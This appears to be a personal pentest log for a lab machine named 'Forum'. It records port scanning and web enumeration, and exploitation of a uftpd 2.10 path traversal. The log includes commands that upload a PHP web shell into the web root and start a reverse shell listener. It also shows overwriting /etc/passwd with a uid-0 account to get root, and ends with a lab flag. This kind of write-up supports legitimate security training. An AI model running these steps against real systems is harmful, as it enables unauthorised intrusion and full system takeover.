Forum
๐งช Pentest Log: {{date:2025-08-30}}
๐ Target Information
- Machine Name: Forum
- IP Address: 10.11.1.128
- Operating System: Linux
ip=10.11.1.128
๐ก Enumeration
๐ Port Scanning
Command Used
ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt
nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt
Port 21
uftpd (2.10)
Google for "uftpd (2.10) exploit", found
https://www.exploit-db.com/exploits/51000
Port 22
Port 80
Web Content Enumeration
gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt
dirsearch -u http://$ip -r -o dirsearch.txt
wpscan --url http://$ip
Port 3306
๐ฃ Exploitation
๐ Vulnerability Summary
- Service / Port: 80
- Vulnerability Type: Credential Leak
๐ Exploit Execution
๐ง Exploit Method
Tool / Script Used:
https://www.exploit-db.com/exploits/51000
ftp anonymous@$ip
put shell.php ../../../../../var/www/html/shell.php
python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 80
๐งฌ Privilege Escalation
๐ค Current Access
- User: www-data
- Groups: 33(www-data)
- Shell Type: web shell
๐ Enumeration
Found that we may put arbitrary file into arbitrary location using uftpd
๐ Privilege Escalation Exploit
๐ Exploit Summary
- Technique Used: N/A
- Target Binary/Service: uftpd
- Reference / Source: N/A
๐ง Exploit Steps
- Setup
echo 'tony:$1$test$28Tmd0tsvqI1Eq.TDxcaq/:0:0:tony,,,:/root:/bin/bash' > passwd;
ftp anonymous@$ip
put passwd ../../../../../etc/passwd
- Smash to root
su tony
password
- Key File
bhjky7fg3ndsk27hf9mi